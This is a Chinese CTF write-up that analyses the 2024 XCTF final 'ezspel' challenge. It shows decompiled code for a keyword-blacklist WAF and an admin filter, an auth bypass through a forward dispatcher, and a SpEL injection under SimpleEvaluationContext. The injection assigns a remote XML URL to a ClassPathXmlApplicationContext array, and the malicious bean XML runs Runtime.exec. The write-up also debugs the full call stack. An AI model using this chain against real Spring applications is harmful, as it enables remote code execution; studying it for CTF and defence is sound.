SimpleEvaluationContext 条件下spel注入
真爱和自由 发表于 四川 历史精选 2101浏览 · 2024-08-21 15:24

SimpleEvaluationContext 条件下spel注入

前言

最近在复现2024 xctf finall的时候有一道题搜了半天也没有wp,网上也没有相关内容,决定自己去探索一下

也学习到了一个新领域,SimpleEvaluationContext 条件下spel注入,因为以前的绕过只是对我们的spel语法的理解去绕过

题目分析

代码部分

我们看到本题给出的关键代码

waf

package com.ctf.ezspel.aspect;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.stream.Stream;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.springframework.stereotype.Component;

@Aspect
@Component
/* loaded from: EzAspect.class */
public class EzAspect {
    Logger logger = LogManager.getLogger(EzAspect.class);
    List<String> blacklist = new ArrayList(List.of("T(", "new ", ".class", ".getClass(", ".forName("));

    @Around("execution(* com.ctf.ezspel.controller..*(..))")
    public Object waf(ProceedingJoinPoint joinPoint) {
        List<Object> matches = Arrays.stream(joinPoint.getArgs()).filter(arg -> {
            if (arg instanceof String) {
                String string = (String) arg;
                Stream<String> stream = this.blacklist.stream();
                Objects.requireNonNull(string);
                return stream.anyMatch((v1) -> {
                    return r1.contains(v1);
                });
            }
            return false;
        }).toList();
        if (!matches.isEmpty()) {
            RuntimeException e = new RuntimeException("blocked payloads");
            this.logger.warn(e);
            return e.toString();
        }
        try {
            return joinPoint.proceed();
        } catch (Throwable e2) {
            this.logger.warn(e2);
            return e2.toString();
        }
    }
}

过滤了ArrayList(List.of("T(", "new ", ".class", ".getClass(", ".forName("));

filter

package com.ctf.ezspel.filter;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.HttpFilter;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebFilter({"/admin/*"})
/* loaded from: EzFilter.class */
public class EzFilter extends HttpFilter {
    protected void doFilter(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.getWriter().println("nonono, you are not admin");
    }
}

禁止我们访问/admin/*下的任何路由

两个路由

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.ezspel.controller;

import com.ctf.ezspel.util.Util;
import java.lang.reflect.Array;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"/admin"})
public class AdminController {
    Logger logger = LogManager.getLogger(AdminController.class);

    public AdminController() {
    }

    @RequestMapping({"/eval"})
    public String buildArray(String name, String expr) {
        try {
            Class clazz = Class.forName(name);
            Object array = Array.newInstance(clazz, 1);
            Object object = Util.eval(array, expr);
            return object.getClass().getName();
        } catch (Exception var6) {
            this.logger.warn(var6);
            return var6.toString();
        }
    }
}

在admin/eval路由下执行Util.eval方法

public class Util {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }
}

可以看见这里我们可以控制的是表达式和root对象,而且最重要的是

SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();我们的context是SimpleEvaluationContext ,导致spel注入异常艰难

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.ezspel.controller;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class EzController {
    Logger logger = LogManager.getLogger(EzController.class);

    public EzController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "welcome to ezspel";
    }

    @RequestMapping({"/forward"})
    public void forward(HttpServletRequest request, HttpServletResponse response) {
        String forward = request.getParameter("forward");

        try {
            request.getRequestDispatcher(forward).forward(request, response);
        } catch (Exception var5) {
            this.logger.warn(var5);
        }

    }
}

其实看到这个路由就知道是绕过我们的admin路由的访问限制了

思路

首先肯定是绕过我们的admin访问限制,其实就是通过forward方法就好了,然后就是spel表达式的注入

SimpleEvaluationContext 条件下spel注入调试分析

题目部分就是上面,这里就讲解一下过程

我们使用下面的代码调试分析

package com.ctf.ezspel.controller;

import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

import java.lang.reflect.Array;

/* loaded from: Util.class */
public class Util {
    public static void main(String[] args) {

        buildArray("org.springframework.context.support.ClassPathXmlApplicationContext","#root[0]='ip/poc.xml'");

    }
    public static String buildArray(String name, String expr) {
        try {
            Class clazz = Class.forName(name);
            Object array = Array.newInstance((Class<?>) clazz, 1);
            Object object = Util.eval(array, expr);
            return object.getClass().getName();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }
}

其中我main方法中两个参数是可以控制的,一个是表达式内容,一个是根对象

先复现一波,其实没有什么好复现的,我们看到org.springframework.context.support.ClassPathXmlApplicationContext就知道是触发了他的构造函数去解析我们远程的xml代码了

POC

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>
</beans>

运行弹出计算器

我们先简单回顾一下关键代码是干嘛的

Expression expression = parser.parseExpression(expr);

将我们的输入解析为expression对象,主要就是解析一些特殊的,比如root,=,#这种符号啥的

然后一般触发漏洞 的是在getvalueexpression.getValue(context, root);

进入getvalue方法,关键的代码如下

Object result = this.ast.getValue(expressionState);

对我们的表达式进行解析,通过ast的getValue方法,而我们的ast对象就是在前面说的parseExpression方法中生成的

可以看到是把我们的输入按照等号分开了

可以这样理解,key#root[0]是value是'ip/poc.xml'

来到ast对象的getValueInternal方法

public Object getValue(EvaluationContext context, @Nullable Object rootObject) throws EvaluationException {
        Assert.notNull(context, "EvaluationContext must not be null");
        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                return compiledAst.getValue(rootObject, context);
            } catch (Throwable var6) {
                if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
                    throw new SpelEvaluationException(var6, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
                }
            }

            this.compiledAst = null;
            this.interpretedCount.set(0);
        }

        ExpressionState expressionState = new ExpressionState(context, this.toTypedValue(rootObject), this.configuration);
        Object result = this.ast.getValue(expressionState);
        this.checkCompile(expressionState);
        return result;
    }

可以看到就是在取值

然后来到

setArrayElement:381, Indexer (org.springframework.expression.spel.ast)

为我们的root对象的元素赋值了

进入setArrayElement方法

private void setArrayElement(TypeConverter converter, Object ctx, int idx, @Nullable Object newValue, Class<?> arrayComponentType) throws EvaluationException {
    if (arrayComponentType == Boolean.TYPE) {
        boolean[] array = (boolean[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Boolean)this.convertValue(converter, newValue, Boolean.TYPE);
    } else if (arrayComponentType == Byte.TYPE) {
        byte[] array = (byte[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Byte)this.convertValue(converter, newValue, Byte.TYPE);
    } else if (arrayComponentType == Character.TYPE) {
        char[] array = (char[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Character)this.convertValue(converter, newValue, Character.TYPE);
    } else if (arrayComponentType == Double.TYPE) {
        double[] array = (double[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Double)this.convertValue(converter, newValue, Double.TYPE);
    } else if (arrayComponentType == Float.TYPE) {
        float[] array = (float[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Float)this.convertValue(converter, newValue, Float.TYPE);
    } else if (arrayComponentType == Integer.TYPE) {
        int[] array = (int[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Integer)this.convertValue(converter, newValue, Integer.TYPE);
    } else if (arrayComponentType == Long.TYPE) {
        long[] array = (long[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Long)this.convertValue(converter, newValue, Long.TYPE);
    } else if (arrayComponentType == Short.TYPE) {
        short[] array = (short[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Short)this.convertValue(converter, newValue, Short.TYPE);
    } else {
        Object[] array = (Object[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = this.convertValue(converter, newValue, arrayComponentType);
    }

}

因为我们的root对象不是基础类型,所以会来到最后的else,进入convertValue方法

中间还有些过程就不看了,来到convert:113, ObjectToObjectConverter (org.springframework.core.convert.support)

其实看到这里就应该很清楚了,通过触发构造函数,而我们的对象和参数都是可以控制的

最后来到

public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, @Nullable ApplicationContext parent) throws BeansException {
        super(parent);
        this.setConfigLocations(configLocations);
        if (refresh) {
            this.refresh();
        }

    }

在refresh方法中会去解析我远程的xml文件触发命令执行

详细的调用栈

<init>:141, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:77, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (jdk.internal.reflect)
newInstanceWithCaller:499, Constructor (java.lang.reflect)
newInstance:480, Constructor (java.lang.reflect)
convert:113, ObjectToObjectConverter (org.springframework.core.convert.support)
invokeConverter:41, ConversionUtils (org.springframework.core.convert.support)
convert:182, GenericConversionService (org.springframework.core.convert.support)
convertValue:82, StandardTypeConverter (org.springframework.expression.spel.support)
convertValue:453, Indexer (org.springframework.expression.spel.ast)
setArrayElement:381, Indexer (org.springframework.expression.spel.ast)
setValue:489, Indexer$ArrayIndexingValueRef (org.springframework.expression.spel.ast)
setValueInternal:108, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:42, Assign (org.springframework.expression.spel.ast)
getValue:114, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:338, SpelExpression (org.springframework.expression.spel.standard)
eval:35, Util (com.ctf.ezspel.controller)
buildArray:25, Util (com.ctf.ezspel.controller)
main:18, Util (com.ctf.ezspel.controller)
3 条评论
某人
表情
可输入 255